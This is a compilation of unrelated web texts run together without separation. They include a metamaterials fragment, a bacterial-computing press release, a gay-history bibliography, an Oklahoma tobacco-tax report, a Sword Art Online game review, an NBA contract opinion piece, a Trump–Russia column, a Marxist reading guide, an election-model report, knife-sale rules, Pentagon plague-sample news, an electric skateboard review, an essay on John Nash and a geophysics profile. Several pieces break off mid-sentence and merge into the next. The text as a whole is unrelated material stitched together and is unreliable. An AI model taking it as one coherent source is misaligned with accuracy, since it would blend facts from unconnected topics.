The ability of the material to work with both polarizations of light is exciting, says Nicholas Fang, professor of materials science and engineering at the University of Illinois at Urbana-Champaign. But, he says, one of the major remaining challenges in engineering metamaterials is loss. As these metal structures interact with light, they lose energy to heat. This heat loss is so great in Atwater’s current materials that just 40 percent of incident light passes through them.
For solar applications, Atwater says his goal is a metamaterial film that passes 90 percent of the light. To that end, his group and others in the field are developing ways to amplify light as it passes through metamaterials. Optical amplifiers are used in lasers and in telecommunications; incorporating them with thin films like Atwater’s will enable metamaterials to find their way into practical applications in devices like solar cells.-Search- Users Labs Protocols News Archive Blog Archive Forum
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Press Release
Researchers bring new meaning to the term 'computer bug'
Monday, May 19, 2008
(Source: NIH/Wikipedia)
A research team from the biology and the mathematics departments of Davidson College, North Carolina and Missouri Western State University, Missouri, USA added genes to Escherichia coli bacteria, creating bacterial computers able to solve a classic mathematical puzzle, known as the burnt pancake problem.
The burnt pancake problem involves a stack of pancakes of different sizes, each of which has a golden and a burnt side. The aim is to sort the stack so the largest pancake is on the bottom and all pancakes are golden side up. Each flip reverses the order and the orientation (i.e. which side of the pancake is facing up) of one or several consecutive pancakes. The aim is to stack them properly in the fewest number of flips.
In this experiment, the researchers used fragments of DNA as the pancakes. They added genes from a different type of bacterium to enable the E. coli to flip the DNA ‘pancakes’. They also included a gene that made the bacteria resistant to an antibiotic, but only when the DNA fragments had been flipped into the correct order. The time required to reach the mathematical solution in the bugs reflects the minimum number of flips needed to solve the burnt pancake problem.
“The system offers several potential advantages over conventional computers” says lead researcher, Karmella Haynes. “A single flask can hold billions of bacteria, each of which could potentially contain several copies of the DNA used for computing. These ‘bacterial computers’ could act in parallel with each other, meaning that solutions could potentially be reached quicker than with conventional computers, using less space and at a lower cost.” In addition to parallelism, bacterial computing also has the potential to utilize repair mechanisms and, of course, can evolve after repeated use.
###
BioMed Central: US researchers have created ‘living computers’ by genetically altering bacteria. The findings of the research, published in BioMed Central’s open access Journal of Biological Engineering, demonstrate that computing in living cells is feasible, opening the door to a number of applications including data storage and as a tool for manipulating genes for genetic engineering.A research team from the biology and the mathematics departments of Davidson College, North Carolina and Missouri Western State University, Missouri, USA added genes to Escherichia coli bacteria, creating bacterial computers able to solve a classic mathematical puzzle, known as the burnt pancake problem.The burnt pancake problem involves a stack of pancakes of different sizes, each of which has a golden and a burnt side. The aim is to sort the stack so the largest pancake is on the bottom and all pancakes are golden side up. Each flip reverses the order and the orientation (i.e. which side of the pancake is facing up) of one or several consecutive pancakes. The aim is to stack them properly in the fewest number of flips.In this experiment, the researchers used fragments of DNA as the pancakes. They added genes from a different type of bacterium to enable the E. coli to flip the DNA ‘pancakes’. They also included a gene that made the bacteria resistant to an antibiotic, but only when the DNA fragments had been flipped into the correct order. The time required to reach the mathematical solution in the bugs reflects the minimum number of flips needed to solve the burnt pancake problem.“The system offers several potential advantages over conventional computers” says lead researcher, Karmella Haynes. “A single flask can hold billions of bacteria, each of which could potentially contain several copies of the DNA used for computing. These ‘bacterial computers’ could act in parallel with each other, meaning that solutions could potentially be reached quicker than with conventional computers, using less space and at a lower cost.” In addition to parallelism, bacterial computing also has the potential to utilize repair mechanisms and, of course, can evolve after repeated use.###BioMed Central: http://www.biomedcentral.com/
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1Boswell, John. Same Sex Unions in Pre-Modern Europe. New York, NY: Vintage Books, 1994.
2Crompton, Louis. Homosexuality & Civilization. Cambridge, MA: The Belknap Press of Harvard University Press, 2003.
3Duberman, Martin Bauml, Martha Vicinus, & George Chauncey Jr., Eds. Hidden from History: Reclaiming the Gay and Lesbian Past. New York, NY: NAL Books, 1989.
4Emman Bernay, Ed. Homosexuality. New York, NY: Greenhaven Press, 2008.
5Endersbe, Julie K. Homosexuality: What Does It Mean? Mankato, MN: Capstone Press, 2000.
6Johnson, Leidhra. “California Lawmakers Pass Bill to Teach Gay History.” Reuters. July 5, 2011. Accessed: July 15, 2011.
7Lau, Steffi. “Homosexuality in China.” US-China Today. March 10, 2010. Accessed: July 15, 2011.
8“Same-Sex Behavior Seen in Nearly All Animals, Review Finds.” Science Daily. June 17, 2009. Accessed: July 15, 2011.
9Starr, Barry. “Other Traits.” The Tech Museum of Innovation. December 22, 2008. Accessed: July 15, 2011.
10Swidey, Neil. “What Makes People Gay?” Boston Globe. August 14, 2005. Accessed: July 15, 2011.
11The Gay Almanac. The National Museum & Archive of Lesbian and Gay History. New York, NY: Berkeley Books, 1996.The Oklahoma House has rejected a proposed $1.50-per-pack tax on cigarettes to help shore up the state's health care system, with Republicans blaming Democrats for the bill's failure. (KTUL)
OKLAHOMA CITY (AP) -- The Oklahoma House has rejected a proposed $1.50-per-pack tax on cigarettes to help shore up the state's health care system, with Republicans blaming Democrats for the bill's failure.
After holding the vote open for more than two hours late Wednesday, the bill failed on a vote of 59-40 against the measure. The House then adjourned until 10 p.m.
Because the bill includes a tax increase, it requires 76 votes to pass. The 30 House Democrats have said they won't support the tax until Republicans agree to some version of Medicaid expansion that would allow Oklahoma to tap into hundreds of millions of dollars available to states through the Affordable Care Act.
The House author of the cigarette tax indicated he plans to bring the bill up for consideration again.
RELATED HEADLINESGame Title: Accel World vs Sword Art Online
Developer: Namco Bandai
Platform: PlayStation Vita
Download: 3.0 GB
Availability: Digital Download (Europe, North America)
PSTV Support: Yes
There’s been a running theory about various anime franchises about VR video games actually being linked to the same timeline, showcasing the growth of VR over different times and eras. Obviously, the big hitter when it comes to VR Gaming Anime is Sword Art Online, outside of other franchises that have adopted VR and AR like the critically-hated Yu-Gi-Oh! Zexal.
It’s no surprise that the developers of the SAO games would eventually want to cross SAO with another franchise, and the Accel World series was the perfect match. If you watch the anime series or read the manga, you’ll see hints and references that directly connect the two franchises. One episode explicitly talks and shows the Nerve-Gear when Accel World’s MC is researching the history of VR Gaming.
The fact that this cross-over utilized the gameplay engine from SAO: Lost Song got me even more excited about it. So, here is my review of Accel World vs Sword Art Online for PS Vita and PlayStation TV!
Story
The plot of this game takes place some time after the events of Lost Song. While wandering around Alfheim Online, Kirito, Asuna, and Yui notice a massive tower appear in Svart Alfheim, followed by a strange villain known as Persona Vabel. After Kirito locks horns with known other than Black Lotus from the Accel World series, Yui is captured and they are all locked out of the majority of Svart Alfheim when the entire game starts to warp and the system goes into emergency maintenance mode.
After finding out that Black Lotus and others from Brain Burst have arrived in ALO due to a strange portal that appeared in their world, the trio begin searching for their allies from ALO and Brain Burst alike to re-unlock the islands and stop Vabel from hurting Yui.
The story of this game is interesting because 1) it goes on the widely-spread theory that Sword Art Online and Accel World take place in the same timeline and 2) it contains a mash-up of both franchises warping and melding with one another in the form of the new ALO. The entire cast returns from Lost Song, and a good dozen or two Accel World characters join up, so the game really pulls about the same, reference and otherwise, from both franchises instead of just being “Let’s put Accel World characters into SAO for the lulz”.
The main thing is the required knowledge for Accel World. The game does a wonderful job of explaining how Accel World works, from Brain Burst and Legions to the Time Travel and how Burst Points work. What it does not do, however, is explain much about the characters coming from Accel World. Because it takes characters from the part of the AW timeline that only the AW manga has covered, even having watched the anime will not prepare you for every background story and story spoiler the game throws at you.
Gameplay
Like SAO: Lost Song, this is an Action-RPG with flying elements. Although there are several new systems, such as teleportation and enhanced jumping mechanics, the basics of navigating Svart Alfheim remain mostly the same. If you play as an SAO character, then it will be identical, right down to how flying works.
But what’s different here? As far as ALO enhancements, you can |
he knows it or not, Simmons is thumbing his nose at a corrupt and archaic system that is about to bone him out of a lot of money. All amateur drafts exist to mine cheap labor for team owners that want to keep their payroll costs as low as possible, but players getting drafted into the NBA this season are getting a particularly raw deal.
The league’s current CBA locks every incoming rookie into a two-year contract with a team option in the third and fourth years. The rookie scale is not tied to the salary cap—this is what happens when nobody is looking out for future rookies at the CBA bargaining table—which means that when the NBA’s new TV contract kicks in, flooding the league with money and drastically increasing the cap, Simmons will be left with a contract that pays him way below market value. Teams are going to be throwing around absurd amounts of money this summer, and you’re going to see role players making twice what Simmons will be.
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In a just world, Simmons would be free to negotiate a contract with any team in the league and get his fair share of the league’s upcoming gold rush. But the world is not just, and so if he wants to sit at home and play video games up until the very moment Sixers take him with the first overall pick, more power to him.
Photo via APThe FBI is investigating whether persons involved with President Trump’s campaign collaborated with Russian officials to help Trump win the election. Let that sink in for a moment. Then take a deep breath, exhale and try to imagine where this might lead.
FBI Director James B. Comey confirmed Monday what we suspected: an active probe of Russia’s election meddling, which includes “investigating the nature of any links between individuals associated with the Trump campaign and the Russian government, and whether there was any coordination between the campaign and Russia’s efforts.”
Hours earlier, Trump had fired up his Twitter account in a vain attempt to make the whole thing go away. He began his tweet by saying, “The Democrats made up and pushed the Russian story as an excuse for running a terrible campaign.”
That was a lie, perhaps designed to reassure the president’s loyal supporters, perhaps to salve his own bruised ego. “The Democrats” didn’t make up anything. The intelligence community has reached the conclusion that the Russian government actively tried to meddle in the election — initially, perhaps, to weaken confidence in our political process, but later to boost Trump’s chances of winning.
[Republicans read Trump’s cue cards on Russia and wiretapping]
To this end, according to the intelligence assessment, the Russians hacked into the Internet communications of prominent Democrats and party institutions — including the Democratic National Committee — and orchestrated a series of leaks timed to do maximum political damage to Hillary Clinton.
It is bad enough to have to wonder whether Trump’s narrow margin of victory might have resulted from a boost provided by Russian President Vladimir Putin. It is much worse to think that anyone connected with the Trump campaign might have known about this interference by an adversarial foreign power and failed to sound the alarm — or, perhaps, even collaborated in the dark operation.
Trump pretends this is all sour grapes over Clinton’s loss, but it’s not; she didn’t win, and Democrats have moved on. It’s about what Comey called a Russian attempt to “undermine our democracy” by helping one candidate at the expense of another.
Trump also tries to change the subject by making wild and unsupported allegations, such as his ridiculous charge that then-President Barack Obama ordered wiretapping of Trump Tower during the campaign. Comey and National Security Agency Director Michael S. Rogers both testified they had no information to support Trump’s claim.
Comey added that “no president” could unilaterally order such surveillance. And Rogers flatly denied the Trump administration’s absurd fallback claim that Obama somehow arranged for British intelligence to do the snooping for him.
Throughout the hearing, Republicans sought to focus on leaks of classified information that found their way onto the front pages of The Post and the New York Times. At one point, Rep. Trey Gowdy (R-S.C.) pressed Comey on whether a journalist who published such material wasn’t guilty of committing a felony. Comey didn’t bite, apparently disinclined to threaten reporters with long prison terms.
The real issue, of course, is the information itself. Michael Flynn had to resign as Trump’s national security adviser after it was revealed that he had lied about his conversations with Russian Ambassador Sergey Kislyak. Despite what he told Congress during his confirmation hearing, Attorney General Jeff Sessions had meetings with Kislyak, as did several other Trump campaign advisers. There are numerous allegations of other contacts, which have yet to be discounted or confirmed.
[No, Republicans, the ‘real story’ is not the leaks]
Meanwhile, Trump’s rhetoric about Putin and Russia has been anomalously gentle. He does not hesitate to blast German Chancellor Angela Merkel, a staunch ally, for not spending enough on defense; he goes out of his way to bash our neighbor Mexico; and he even managed to get into a needless row with the prime minister of Australia. Yet he has consistently conveyed his admiration for Putin’s leadership and expressed a desire for a warmer U.S.-Russia relationship.
An FBI investigation, it seems to me, would necessarily have to look into the president’s business relationships with Russians tied to the Putin regime. In 2008, Donald Trump Jr. said publicly that “Russians make up a pretty disproportionate cross-section of our assets” and that “we see a lot of money pouring in from Russia.” The president now denies significant business involvement with Russians. Which is true?
If the FBI trains scrutiny on such Trump campaign figures as Paul Manafort and Roger Stone, what will they find? And why does the subject of Russia so reliably send Trump into a Twitter rage?
This trail may lead somewhere or it may lead nowhere. But now it will be followed to the end.
Read more from Eugene Robinson’s archive, follow him on Twitter or subscribe to his updates on Facebook. You can also join him Tuesdays at 1 p.m. for a live Q&A.A reading guide to the fundamental ideas of Marxism.
“Without revolutionary theory there can be no revolutionary movement.” - V.I. Lenin, What is to be Done?
The crisis of capitalism today is leading more and more people to question the society that we live in. There is a widespread sense that something is fundamentally wrong in the world and that it must be changed fundamentally. According to the ruling class and reformists the events taking place today are merely the result of a series of unfortunate accidents and all that is needed is for everyone to act “rationally”. But this does not explain anything and it solves even less.
Marxism is the science of the underlying laws which govern nature and society. It is only by studying these laws that we not only achieve the best understanding of society, but also discover the role and tasks of revolutionaries.
Marxist theory is the basis upon which our analysis, perspectives, programme, and participation in the movement are based. It is our "guide to action." This is why the International Marxist Tendency places so much emphasis on political education. To this end, we will be publishing a number of reading guides on a variety of different subjects. The present one, which is the first in our series, deals with the basic fundamentals of Marxism. This guide is not necessarily intended to be read from one end to the other, but if you are completely new to the ideas of Marxism, we do recommend you start by reading the texts under the heading The ABCs of Marxism.
This reading guide is far from exhaustive, but it provides a solid basis for those wishing to equip themselves with the necessary ideas for the daily work of building the forces of Marxism. We would like to encourage all our supporters and those interested in learning more about Marxism to read (or re-read!) through the works on this list. We also encourage you to form a reading group, to engage other people and improve your understanding.
Many of these are short books or pamphlets; some are more lengthy books; and others are just short articles. All of them are available to be read online for free (links are provided), and many of them have already been published by Wellred and are available at www.wellredbooks.net
The ABCs of Marxism
The Ideas of Karl Marx, by Alan Woods
- A modern introduction to the basic elements of Marxism and why socialism is the only way forward for humanity.
The Communist Manifesto, by Karl Marx and Friedrich Engels
- The founding document of the Communist movement, more relevant today than when it was first written over 160 years ago, predicting such phenomena as globalisation, economic crisis and inequality.
Marxist Philosophy: Dialectical Materialism
What is Dialectical Materialism, by Rob Sewell
- Introduction to the basic concepts of Marxist Philosophy
The ABC of Materialist Dialectics, by Leon Trotsky
- A brilliant short explanation of Marxist philosophy.
Historical Materialism
What is historical materialism?, by Alan Woods
- A comprehensiev introduction to Historical Materialism.
Civilization, Barbarism and the Marxist view of History, by Alan Woods
- For Marxists, history is not a series of unrelated events. This article shows the superiority of the Marxist method in understanding the history of civilisation. Only by fully understanding the past can we correctly analyse the present and act to change the future course of human development.
Origin of the Family: In Defence of Engels and Morgan, by Rob Sewell
- How did the early primitive communist societies lead to the eventual rise of class society? What is the state and where did it come from? Rob Sewell gives an overview and a modern defence of Engels’s classic book Origins of the Family, Private Property and the State.
Marxist Economics
Wage Labour and Capital, by Karl Marx
- In this short booklet, Marx explains in everyday language how labour creates value, how capital exploits labour, and how wages are determined in capitalism. An excellent introduction to Marxist economics.
Value, Price, and Profit, by Karl Marx
- In this work, Marx explains how prices relate to a commodity's value and shows where profits actually come from. Another great introduction to Marxist economics.
What Causes Capitalist Crises: Under-Consumption or Overproduction? by Rob Sewell
- an introduction to the Marxist theory of crisis, and how it is being verified by current events.
Marxism and the State
On Marxism and the state, Phil Mitchinson
- A brief introduction to the Marxist view of the state.
State and Revolution, by V.I. Lenin
- In this Classic text by Lenin, he analyses the origins and the role of the state and also outlines the main principles of a future workers’ state which would replace it. By doing so, Lenin also takes up the views of the anarchists and the reformists on this question, and exposes their limitations.
The Soviet Union
Stalinism and Bolshevism, by Leon Trotsky
- In this article Trotsky explains the fundamental differences between Marxism and the caricatured version which was put forward by the Stalinist bureaucracy which had usurped political power in the Soviet Union.
The Class, the Party and the Leadership
The Class, the Party and the Leadership, by Leon Trotsky
- In this pamphlet (which was never finished due to Trotsky’s assassination), Leon Trotsky explains the role of the revolutionary party and shows that contrary to the reformists’ claim of the “low level of consciousness” of the masses it is the reformist leaders themselves who are the biggest obstacle to the revolution.
150 years since the First International was founded, by Alan Woods
- The working class needs a revolutionary International - In this article Alan Woods outlines the history of the working class movement and the tasks facing Marxists today.
The Transitional Programme, by Leon Trotsky
- How do Marxists use programmatic demands to win the working class to the cause of revolutionary socialism? Trotsky explains the need to use transitional demands to bridge the gap between the present consciousness of the working class and the need for the socialist transformation of society.The Democratic presidential nominee will win the race for the presidency, but the election is shaping up as historically tight, according to a political model.
Less than 11 months from Election Day, Moody’s Analytics is predicting that whomever lands the Democratic nomination will capture the White House with 326 electoral votes to the Republican nominee’s 212.
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Those results are heavily dependent on how swing states vote. The latest model from Moody’s reflects razor-thin margins in the five most important swing states — Florida, Ohio, Colorado, New Hampshire and Virginia.
In each of those states, the Democratic advantage is less than 1 percentage point, well within the margin of error.
The election model weighs political and economic strength in each state and determines the share of the vote that the incumbent party will win.
The most important economic variable in the model is the growth in incomes in the two years leading up to the election.
That factor captures the strength of the job market in each state, including job growth, hours worked, wage growth and the quality of the jobs being created.
The model also factors in home and gasoline prices.
So far, the strength of the economy has kept the model on track for the Democratic nominee.
But the trajectory of the president’s approval rating also makes a difference in who could win the White House.
If President Obama’s approval rating shifts only a little more than 4 percentage points, a bit more than the margin of error for many presidential opinion polls, the move could further cut into Democratic hopes to retain the White House.
Growing concern about terrorism and other issues could dent Obama’s approval rating further.
Usually, if the sitting president’s approval rating is improving in the year leading up the election, the incumbent party receives a boost.
But in most elections, the president’s rating has declined in the lead-up to the election, favoring the challenger party.Amber Rudd is shown a collection of knives by Superintendent Sean Yates that have been involved in knife crime in London at Southwark police station yesterday PA
People buying knives online will be forced to collect them in person under a government proposal to clamp down on sales to children and teenagers.
Online age verification checks have failed to stop under-18s obtaining knives, the home secretary admitted.
The Home Office proposal means that instead of having a knife delivered to their own address, buyers would have to arrange to pick them up from a store, which would be responsible for checking their age.
How online sellers without physical stores would comply with the legislation will be considered as part of a consultation this autumn.
Amber Rudd, the home secretary, said: “We are announcing new measures to combat knife crime and the devastating impact it has on families, individuals and communities.
“We are…(CNN) The U.S. Department of Defense is looking into possible mishandling of bubonic plague and equine encephalitis samples at its laboratories, a Pentagon spokesman said Thursday.
The new inquiry is part of an investigation into the mishandling of anthrax at Department of Defense labs, Pentagon spokesman Peter Cook said.
The department hasn't determined whether samples containing plague bacteria and specimens of the deadly virus were shipped from its labs, Cook said.
"One of the things they're doing right now is trying to assess whether any of these substances, first of all, pose any sort of threat; second of all, whether these substances were shipped to any other laboratories," he said.
He said the Centers for Disease Control and Prevention determined there is no risk to the health of workers or the public.
Pressed by reporters for more answers about the investigation at a briefing Thursday, Cook said he was revealing everything he could.
"We're trying to be as forthcoming as we can be right now without alarming the public," he said.
Labeling, storage raise concerns
The latest investigation started after CDC inspectors found a sample of the plague in a freezer outside of a containment area on August 17 at the Edgewood Chemical Biological Center in Maryland, Cook said.
Investigators are working to determine whether the sample posed an "infectious threat," Cook said. Army tests found it was not infectious.
"That's the scientific work that's being done at this particular time, determining exactly what happened there, and whether or not... there was mislabeling," he said.
Investigators are also looking into whether samples of equine encephalitis were labeled properly in logs, he said.
Anthrax shipments sparked inquiry
Earlier this year the Defense Department began an investigation after determining live anthrax samples had been shipped from Pentagon labs to 86 research facilities in the United States and at least seven foreign countries over the last several years.
Last week, the secretary of the Army directed an immediate review of safety procedures at all Defense Department labs and facilities involved in the handling of toxic agents, such as anthrax.
The review ordered by Secretary John McHugh follows the discovery of anthrax contamination at a facility in Utah along with instances of incomplete record keeping at two other facilities in the United States.
Bacteria, virus can be deadly
Yersinia pestis, the same type of bacterium that was responsible for the plague pandemic that wiped out 60% of the European population between the 14th and 17th centuries, maintains a foothold in the United States and around the globe in rodents and the fleas that live on them. Today, the infections are treatable with antibiotics if they're caught early enough. Since 1970, there have been anywhere from a few to a few dozen cases of plague every year in the United States, most of them occurring in Western states, according to the Centers for Disease Control and Prevention.Living in the hilly city of San Francisco, I did not feel that Inboard M1 was adequate. To be fair, it was never advertised as a powerful board, but rather as a board that you can travel with. With recent changes in my situation, I will likely not be traveling as much as I thought I would be. As a result, I decided to pick up a more powerful board.
I was deciding between Evolve Carbon GT, Evolve Bamboo GTX, and Enertion Raptor 2. First, I did not want to wait, so Raptor 2 was out. Being a rather old city, San Francisco has some pretty terrible pavement. As a result, my feet always hurt a lot when riding Inboard M1, so I decided to go for a board with a flexible deck, so I went with Evolve Bamboo GTX. While Evolve Bamboo GT and Boosted Boards are both great options, I wanted longer range and did not want to wait to get it. Furthermore, the option of AT wheels was extremely enticing. As a result. I ended up ordering Evolve Bamboo GTX 2-in-1.
I ordered a bit past midnight of Monday, July 17th (so technically I ordered on Tuesday, July 18th), and my order probably was not processed until Tuesday, July 18th. Then, the inevitable and excruciating waiting began.
But thanks to Evolve USA’s quick processing, and being in the same state as their warehouse, I received a tracking number on Thursday, July 20th and received my package on Saturday, July 22nd. This was extremely quick in my opinion.
And so, I received the package and went up the stairs with this 34 lbs package and just admired it. But there really wasn’t much to admire as the package was pretty beat up. (Oh UPS, will you ever return to your former glory?)
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Then, I proceeded to open the package (After initial opening, I got too excited and forgot to take pictures of all components :]).
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It was amazing.
The board looked like it came from another dimension compared to Inboard. If Inboard M1 were like Prius, this Evolve Bamboo GTX looked like a Cadillac. As I inspected the rest of the package, I started fiddling with the remote and the street wheel kit. Then, I actually started checking out the board.
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When I was inspecting the motors, I noticed something wrong. There were scratches on there already, despite the QC sheet included said the motors were free of scratches or blemishes.
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But I understood that they were going to be like that after a few rides anyway, so I was not too mad. However, I decided to contact Evolve. I contacted them on Saturday (the day I received it), and on Monday, I received an email from them apologizing and offering a $50 gift card (this is in their warranty policy to offer $50 gift card if the defect is deemed to not be from misuse or anything). I was and am pretty happy with this resolution, as a few scratches were not worth sending the board back.
I did switch the wheels immediately to street wheels, as I really wanted to try out the 97mm wheels. The switching was nice and easy, even as someone who’s never taken apart any kind of skateboard/longboard. Then, I took about 2 mile ride to Safeway to pick up some groceries.
Man, was it amazing. It was a completely different experience from Inboard M1. Although I was afraid that my weight may actually break the deck, the flexy deck was comfortable, yet felt solid and responsive. The Super Carve trucks were a joy to carve on (albeit at a very beginner level for me), and the turning was amazing. The power of the belt motors were on a completely different level from the hub motors on Inboard M1.
The remote took a bit of time to get used to as it was sort of weird and felt dangerous not having a dead man’s trigger. But I did get used to it quickly and I have no complaints about the remote or its connection.
Despite the bad things I’ve been reading about the Evolve 97mm wheels, they felt great and really nice to ride on. The only comparison I have are the wheels on Inboard M1, so this may not mean much, but it gripped well, and went over cracks and metro tracks with ease, with no sign of wear or chunks coming off (I have been commuting for 3 days with the wheels, and went on a 5~6 mile ride today and the wheels are just fine).
The tools included are great, and feel solid. Even the loose Allen wrench feel nicely made, and I threw those into the remote case and carry it in my backpack, along with the skate tool.
Overall, it is a solid board with a lot of power and ability to carve/turn. I do need to get used to the less stable deck at higher speeds, but I’m sure that will come with more experience. And their customer service has been pretty good for me so far. For now, it does not look like I will be touching Inboard M1, aside from when I want to go boarding with my friend who does not have an electric skateboard.
UPDATE: I actually forgot to add one more thing. I LOVE BEING ABLE TO DRAG THIS BEHIND ME. With Inboard M1, I cannot, because either tail or nose would drag on the ground. With the Bamboo GTX, due to its drop through style, I can just drag this behind me, which saves my arms some work out (well, I guess I could use some arm work out, but they get it when I go up the stairs so it’s all good).
A full review of this board will come in time, but I want to ride this one a little longer before I actually do a full review. I also have a story coming on my interaction with Inboard’s support. As always, let me know if you have any questions or comments and I’d be more than happy to answer them.
AdvertisementsThe death of Nobel prize-winning mathematician John Nash last week prompted much debate and discussion of his mathematical legacy and the widespread application of his work in the field of economics and elsewhere.
John Nash, mathematician portrayed in A Beautiful Mind, dies in taxi crash at 86 Read more
Although Nash’s diagnosis of schizophrenia also received much attention, not least in the film A Beautiful Mind, it is striking how little attempt has been made to understand his experience on his own terms. Instead, again and again we have seen the truth of Nash’s struggles with “mental disturbance” (his own term) sacrificed to the requirements of others, be it the Hollywood story machine or critics keen to discredit his equilibrium theory. According to one contributor in the comments on the Guardian website, “The truth about John Nash and how a paranoid schizophrenic’s warped views of human relations came to be part of major institutions is quite horrifying.” Shocking as such statements are, many people with a mental health diagnosis will read them with a sense of weary recognition.
One of the problems with diagnoses is the way in which they can be requisitioned by others to suit their purposes, even if, or especially if, those others have neither understanding nor interest in the reality of an individual’s experience. It’s one of the reasons so many people choose to keep quiet about mental health problems. And it’s one of the reasons Nash should be saluted for his courage in speaking out.
Nash expressed some reservations about the way in which his life was portrayed in A Beautiful Mind
In a 2009 al-Jazeera interview with a journalist, Riz Khan, Nash expressed some reservations about the way in which his life was portrayed in A Beautiful Mind. Most significantly, he objected to the fact that in the film he is shown as remaining on medication. Indeed, in a scene set around the time of his Nobel nomination in 1994, Nash’s character, played by Russell Crowe, explicitly credits his recovery, at least in part, to newer medication. The truth is that Nash stopped taking any medication in 1970. The line is a fabrication, and a conscious one.
In Sylvia Nasar’s book with the same title, on which the film is based, it is clearly stated that Nash stopped taking medication in 1970 because of the way it blunted his intellect. The change was apparently made because the screenwriter, Akiva Goldsman, whose mother was a prominent psychologist, was worried that the film might persuade people to stop taking their medication. There were also rumours that the National Alliance on Mental Illness put pressure on the filmmakers to include the line about medication. Certainly its press release at the time of the Oscar nominations praises the film for communicating “important truths” such as “the vital role of medication in treating the symptoms of schizophrenia and the risks of discontinuing medication”. Whether the rumours are true, I can’t say, but what’s certain is that the truth of Nash’s experience, the way in which he struggled and ultimately succeeded in using the power of his rational mind to overcome his delusional thinking, was replaced with a straightforward lie. And whatever the rationale behind it, the wholly disingenuous use of Nash’s recovery to promote the use of anti-psychotics is to my mind unconscionable.
It would be a huge shame if Nash’s voice were to be lost beneath the cacophony of others seeking to use his experience to further their own agendas – not least because what he had to say is so insightful and interesting.
In a biographical essay, written at the time of his Nobel win, Nash described sanity as a form of conformity, and one about which he maintained a degree of ambivalence. “So, at the present time, I seem to be thinking rationally in the style that is characteristic of scientists,” he wrote. “However, this is not entirely a matter of joy, as if someone [had] returned from physical disability to good physical health. One aspect of this is that rationality of thought imposes a limit on a person’s concept of his relation to the cosmos.” There can be no doubt that to talk in such terms requires both honesty and tremendous courage. The question is whether we have the courage to hear him.He dispenses with the usual Japanese greeting ritual. Business cards presented with both hands, bowing, drinking tea -- there's no time for such formalities. He has to explain the history of the planet, nearly five billion years, in just one hour.
Hi, Im Shige, he says, waving his hands in the air. Then he dashes into his office, a researchers warren on the campus of the Tokyo Institute of Technology, jam-packed with piles of paper, hiking boots, posters, rock samples and a couch with a sleeping bag. Shige is an unbridled enthusiast, a pioneer and a brilliant polymath.
Shiges full name is Maruyama Shigenori. In Japan, its customary to refer to ones family name first. Maruyama is a passionate collector who has gathered 160,000 minerals and exhibited them in a museum. He is also one of the worlds leading geophysicists. His academic articles rank among the most cited in his field, and his works are found in many geological reference libraries.
Yet despite this widespread recognition, this Japanese researcher in his late 50s continuously provokes controversy in the academic world with his bold hypotheses. Currently, he is stirring things up with a new fascinating theory on the lifecycle of the Earths crust.
Maruyama is basically taking the ideas of Alfred Wegener to the next level. Wegener was a German explorer and meteorologist who believed back in 1912 that the continents roamed about on the surface of the Earth -- an idea that was ridiculed by even his most supportive research colleagues as a delirious vision and the wonderful dream of a great poet. It wasnt until the 1960s that studies of the ocean floor finally provided irrefutable proof that the delirious geo-poet had been right after all.
Earth's Interior Shrouded in Mystery
Today, every child learns in school that the continents are enormous plates that drift on the Earths red-hot mantle like icebergs on the ocean. Yet this hypothesis still lacks a logical and convincing foundation. Nobody has been able to explain the actual mechanics behind the motor that drives the drifting and breaking-up of the continental plates.
The inner reaches of the Earth remain shrouded in mystery. Even the surface of Mars has been explored more extensively. Because deep drilling comes to a halt after a maximum of 12 kilometers, the remaining 6,300 kilometers to the center of the Earth remain inaccessible. Researchers find themselves playing the role of armchair travelers who recount a journey from New York to Patagonia, but actually only know the way to New Jersey.
Nonetheless, Maruyama is convinced that he understands what happens deep below our feet: The continental drift that we observe on the surface of the Earth has its counterpart in the Earths mantle, explains the professor, his arms gesticulating like two rotors that paint a picture of the demise of a continent.
Old, cold plates are pushed down into the Earths mantle on the continental edges, he explains. At this point they collect large amounts of iron. You can imagine it as something similar to water condensation. Weighted down by the iron, the plates sink farther and farther into the hot, molten rock until they reach the inner sanctum of the Earths mantle. There, at a depth of 2,900 kilometers, they finally halt their decent and settle into plate graveyards. This is presumably the outer edge of the earths heavy core, where the temperature is 4,000 degrees Celsius (7,200 degrees Fahrenheit).
SPIEGEL ONLINE How the life cycle of a continent works.
Brimming with enthusiasm, Maruyama continues: But the capsized continents dont simply rest in their plate graveyards forever. Rather, they are about to experience a sudden resurrection. Heat and pressure in the depths trigger chemical processes, causing the plates to deposit their load of heavy elements. Once liberated of this burden, they become lighter than their surroundings, causing them to rise like corks in water. The result: Above the old plate graves, on the floor of the Earths molten mantle, a mushroom-shaped upwelling of abnormally hot magma called a mantle plume makes its way toward the surface.
Eventually, the rising flow of molten rock reaches the crystallized crust and cuts through it like a welding torch. Volcanoes form, such as those on the Big Island of Hawaii. Maruyama says the red hot lava that erupts on the volcanic island comes directly from an old plate cemetery 2,900 kilometers below the surface, where the remains of an ancient continent that broke up some 750 million years ago simmer to the surface. His theory postulates the amazing comeback story of this ancient rock from the deep.
According to Maruyama, the key ingredient for the chemistry of the Earths interior is the same one that determines the weather on the surface: water. The sunken ocean plates have old seawater locked in their mineral structure -- only a few parts per thousand, but enough to drastically change the characteristics of the rock.
Even minute quantities of water in the ex-floor of the ocean can significantly lower its melting point -- and this speeds up its eventual return to the surface. The water helps the rock to lose its load of heavy iron, thereby increasing the buoyancy of this old plate material.
No Different than the Weather
Maruyama compares the lifecycle of the plates with the circulation of water, which evaporates, forms clouds, and rains back down to earth again. The ocean floors correspond more or less to the clouds, he says, and the plate graveyards in the deep are like the bodies of water that are fed by rain. This is where the magma rises to form new clouds once again.
The geophysicist thus paints a three-dimensional picture of the planet Earth where, in addition to the continents drifting on the surface, there is room for anti-plate tectonics at the base of the Earths mantle. An anti-crust deep below reflects to a certain degree events on the surface, with lakes and mountains and rivers of viscous molten rock.
Such theories could fundamentally change our understanding of the Earth. A number of school textbooks will soon have to be revised or at least supplemented, says Ulrich Hansen of the Institute for Geophysics in Münster, Germany. Up until now, the movement of the continental plates has been generally described as a two-dimensional phenomenon, but today experts agree that its fueled by three-dimensional convection movements deep below the surface.
Hansens research group is attempting to test theories like Maruyamas on supercomputers. The programs run for up to a quarter of a year before they spew out the results. Maruyama has two key location advantages, says Hansen. First, Japan has the fastest supercomputers in the world. And besides that, there are an incredibly large number of earthquakes and earthquake monitoring stations.
